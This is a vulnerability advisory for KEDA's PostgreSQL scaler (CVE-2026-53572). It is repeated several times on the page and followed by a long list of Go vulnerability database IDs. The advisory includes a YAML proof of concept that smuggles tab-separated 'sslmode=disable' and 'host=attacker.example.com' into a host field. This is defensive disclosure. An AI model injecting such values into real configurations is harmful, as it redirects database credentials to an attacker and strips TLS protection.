CVE-2026-53572

KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.

KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.

Summary

pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:

func escapePostgreConnectionParameter(str string) string {
    if !strings.Contains(str, " ") {
        return str       // returned as-is for any non-space whitespace
    }
    str = strings.ReplaceAll(str, "'", "\\'")
    return fmt.Sprintf("'%s'", str)
}

The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.

Vulnerable code

pkg/scalers/postgresql_scaler.go, lines 155–164 and 250–257.

Impact

Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can:

• Force sslmode=disable on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.
• Redirect the connection to an attacker-controlled host (host=...) to steal the credentials the operator supplies via the password= keyword.
• Append arbitrary libpq runtime parameters (options=, application_name=, target_session_attrs=) to pivot behavior.

Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration — injected host= still redirects the subsequent password= keyword's target.

Proof of concept

triggers:
- type: postgresql
  metadata:
    host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
    port: "5432"
    userName: "keda"
    dbName: "metrics"
    sslmode: "require"
    query: "SELECT 1"

After escapePostgreConnectionParameter (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include host=attacker.example.com and sslmode=disable.

Suggested fix

• Escape / reject any ASCII whitespace (\t, \n, \r, \f, \v, space) and backslash.
• Prefer the URI form (postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding.
• Validate each field against an allow-list pattern before use.

Resources

• pkg/scalers/postgresql_scaler.go
• libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING

KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.

KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.

Summary

pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:

func escapePostgreConnectionParameter(str string) string {
    if !strings.Contains(str, " ") {
        return str       // returned as-is for any non-space whitespace
    }
    str = strings.ReplaceAll(str, "'", "\\'")
    return fmt.Sprintf("'%s'", str)
}

The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.

Vulnerable code

pkg/scalers/postgresql_scaler.go, lines 155–164 and 250–257.

Impact

Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can:

• Force sslmode=disable on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.
• Redirect the connection to an attacker-controlled host (host=...) to steal the credentials the operator supplies via the password= keyword.
• Append arbitrary libpq runtime parameters (options=, application_name=, target_session_attrs=) to pivot behavior.

Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration — injected host= still redirects the subsequent password= keyword's target.

Proof of concept

triggers:
- type: postgresql
  metadata:
    host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
    port: "5432"
    userName: "keda"
    dbName: "metrics"
    sslmode: "require"
    query: "SELECT 1"

After escapePostgreConnectionParameter (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include host=attacker.example.com and sslmode=disable.

Suggested fix

• Escape / reject any ASCII whitespace (\t, \n, \r, \f, \v, space) and backslash.
• Prefer the URI form (postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding.
• Validate each field against an allow-list pattern before use.

Resources

• pkg/scalers/postgresql_scaler.go
• libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING

KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.

KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping in github.com/kedacore/keda

This update for govulncheck-vulndb fixes the following issues:

• Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

• GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
• GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
• GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
• GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
• GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
• GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
• GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
• GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
• GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
• GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
• GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
• GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
• GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
• GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
• GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
• GO-2026-5933 GHSA-3g4q-2f67-2gvh
• GO-2026-5934 GHSA-59qp-cfj3-rp64
• GO-2026-5935 GHSA-7856-g3gv-9wq8
• GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
• GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
• GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
• GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
• GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
• GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
• GO-2026-5942 CVE-2026-46600
• GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
• GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
• GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
• GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
• GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
• GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
• GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
• GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
• GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
• GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
• GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
• GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
• GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
• GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
• GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
• GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
• GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
• GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
• GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
• GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
• GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
• GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
• GO-2026-5969 GHSA-g936-7jqj-mwv8
• GO-2026-5970 CVE-2026-56852
• GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
• GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
• GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
• GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
• GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
• GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
• GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
• GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
• GO-2026-5981 GHSA-mqxv-9rm6-w8qc
• GO-2026-5982 GHSA-pqg7-v6wh-3pfp
• GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
• GO-2026-5985 GHSA-7rx3-5wx3-5v76
• GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
• GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
• GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
• GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
• GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
• GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
• GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
• GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
• GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
• GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
• GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
• GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
• GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
• GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
• GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
• GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…